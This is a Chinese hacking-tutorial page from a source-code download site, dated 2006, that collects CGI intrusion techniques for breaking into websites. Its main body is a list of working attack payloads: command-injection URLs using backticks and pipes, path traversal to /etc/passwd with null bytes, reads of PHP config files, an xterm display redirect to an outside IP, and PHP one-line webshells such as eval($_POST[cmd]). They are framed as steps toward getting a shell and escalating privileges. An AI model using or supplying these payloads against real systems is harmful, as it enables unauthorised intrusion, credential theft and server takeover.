首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 黑客进阶 → 文章内容

CGI入侵思路整理--CGI,入侵,思路

作者:佚名  来源:网上收集  发布时间:2006-12-20 21:23:45

总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着 
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 
注“
perl脚本的漏洞大多出在open()、system()或者 ''调用中。前者允许读写和执行,而后两个允许执行。 

以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET 
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 
http://target.com/cgi-bin/home/news/sub.pl? `ls` 单引号 
http://target.com/cgi-bin/home/news/sub.pl? `id` 
http://target.com/cgi-bin/home/news/sub.pl? `IFS=!;uname!-a` 
http://target.com/cgi-bin/home/news/sub.pl? `cat<'/home1/siteadm/cgi-bin/home/news/sub.pl'` 非常好的思路,把代码cat回来显示 
http://target.com/test.pl;ls| 
http://target.com/index.cgi?page= ... id%0awhich+xterm| 
http://target.com/index.cgi?page=| ... 10.0.1.21:0.0+%26| 
http://target.com/test.pl?';id' 类似''内的操作和命令执行自己构造 
比如:cat<'/home1/siteadm/cgi-bin/home/news/test.pl'` 把pl代码显示出来。 
http://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection 
http://target.com/test.pl?&......../../../etc/passwd 
http://www.target.org/cgi-bin/club/& ... erinfo.pl?user=./test 前面加./ 
http://www.target.org/cgi-bin/club/& ... erinfo.pl?user=test%00 注意后面的 %00 别弄丢了 
http://www.target.org/cgi-bin/club/scrip ... r=../../../../etc/passwd%00 
http://www.target.org/show.php?filename=../../ ... e/murong/include/config.php 查看php代码 
http://www.target.org/show.php?filename=../. ... ome/murong/admin/global.php 
emm和ps的一句话"<?copy ($a,$b);unlink($a);?>" 
echo "<?php copy(\$_FILES[MyFile][tmp_name],\$_FILES[MyFile][name]);?>" > up.php 
<?php eval($_POST[cmd]);?> 
http://www.target.org/cgi-bin/club/scripts/change_pw.pl?passwd0=1& ... 2&key=../../../../../../../../bin/ls%20 
>bbb%20| 
http://www.target.org/cgi-bin/club/ ... ;lessshowpost.pl\' 并且寻找(用\'/\')\'SELECT\' 字符串
http://www.target.org/cgi-bin/club/scri ... c0%af../bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 
http://www.target.org/csapi/..%c0%afhttp/china.sh ”+.elf?”+&+ls+/bin
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法 
http://target.com/index.html#cmd.exe 
http://target.com/index.html?dummyparam=xp_cmdshell 
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd 

PS:很久前整理asp注射和php注射大全都是私下给好友的,不知道哪个马甲不够意思,就发了出去。现在满bbs和各动画站点都能看到,而且作者乱七八糟, 幸亏吃亏以后,再整理或者写的其他文章技巧,只给几个特好的朋友。再也不敢乱发了,用pinke话说,"我写/发现个东西我容易吗,不知道怎么就被人做成动画或者教程,拿来赚钱也罢了,还要留一句话,没什么技术,黑站就这么简单." 鄙视这些人们……有本事你们自己写个lcx,或者什么shell去?我写不来,但是用朋友的,我也心安理得

[] [返回上一页] [打 印]
  • 上一篇文章:合理维护网络服务器安全的七个小技巧--维护,网络,服务器,安全,技巧
  • 下一篇文章:利用Visual Basic编写破坏性木马--Visual Basic,编写,破坏性,木马

  • 相关文章:
  • CGI入侵思路整理--CGI,入侵,思路
  • Cgi入门教程之:13 设置口令
  • Cgi入门教程之:12 代码详解
  • Cgi入门教程之:11 写文件
  • Cgi入门教程之:10 email子过程
  • Cgi入门教程之:9 BODY部分
  • Cgi入门教程之:8 脚本解释
  • Cgi入门教程之:7 回应脚本
  • Cgi入门教程之:6 HTML FORM
  • Cgi入门教程之:5 Perl简介
  • Cgi入门教程之:4 使用Emacs
  • Cgi入门教程之:3 定位Perl和sendmail
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号